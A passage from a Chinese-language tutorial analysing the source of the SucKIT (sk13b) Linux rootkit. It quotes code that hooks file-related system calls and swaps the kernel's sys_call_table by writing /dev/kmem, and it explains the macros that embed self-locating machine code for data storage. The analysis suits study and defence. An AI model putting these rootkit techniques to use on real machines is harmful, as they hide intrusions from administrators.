| 
 
|  | hook(oldlstat);
 hook(oldfstat);
 hook(stat);
 hook(lstat);
 hook(fstat);
 hook(stat64);
 hook(lstat64);
 hook(fstat64);
 hook(creat);
 hook(unlink);
 hook(readlink);
 #endif
 
 /* 将老的sys_call_table指针入口保存到oldsctp中 */
 
 memcpy(oldsctp(), sctp, 2 * sizeof(ulong));
 
 /* 用新的sys_call_table[]替换原来的sys_call_talbe,到此hook系统调用就成功了 */
 
 *sctp[0] = (ulong) newsct;    /* normal call */
 *sctp[1] = (ulong) newsct;    /* ptraced call */
 }
 
 到此sk的hook系统调用的过程就结束了。
 
 
 补充:
 kernel.c可为sk13b代码中较为复杂的代码了 ,如果要读懂它,需要对linux代码很熟悉.
 基本上是一些系统调用的替带品,但是有些宏函数不是很好理解,我在这里简单提一下.
 
 DVAR(pid_struc *, pidtab, NULL);
 DVAR(ulong, oldsct, 0);
 
 DVAR 是个宏调用;
 
 在Rdata.h中定义如下:
 
 #define DVAR(type, name, val)    \
 DARR(type, 1, name, val)
 
 是个宏嵌套,DVRR如下:
 
 #define DARR(type, count, name, val...) \
 struct s_##name {    \
 uchar    s[5];    \
 type    l[count]; \
 uchar    f[2];    \
 } __attribute__((packed)); \
 static struct s_##name f_##name = \
 {{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0},    \
 {val},            \
 {0x58, 0xc3}};        \
 static inline type *name(void) \
 {            \
 type *(*func)() = (void *) &f_##name; \
 return func();    \
 }
 
 我们把DVAR(pid_struc *, pidtab, NULL);展开后看看
 
 DVAR(pid_struc *, pidtab, NULL);
 
 DVRR(pid_struc *, 1,pidtab, NULL);
 
 struct s_pidtab{
 uchar    s[5];
 pid_struc * l[1];
 uchar       f[2];
 } __attribute__((packed));        /* __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐 */
 
 static struct s_pidtab f_pidtab =
 {{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0},
 {val},
 {0x58, 0xc3}};
 
 static inline type *pidtab(void)
 {
 pid_struc* *(*func)() = (void *) &f_pidtab;
 return func();
 }
 
 
 DARR(ulong *, 2, oldsctp);
 
 这下明白oldsctp(),*oldsct(),*pidtab()这几个函数指针是什么意思了吧.
 
 六、总结
 
 现在对于sk hook系统调用的过程应该很清楚了吧,如果有其他函数或数据不了解的话,
 请参考它的全部代码.同时sk是通过读和写kmem来控制系统的,kmem是一个字符设备文件,
 是计算机主存的一个影象。它可以用于测试甚至修改系统。但在有些系统如fc4上已经
 禁止写kmem了,所以sk13b自然在那些系统不能安装,也时很多sk的爱好者沮丧.
 共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] 10 [11] 下一页
 |   
|  |  |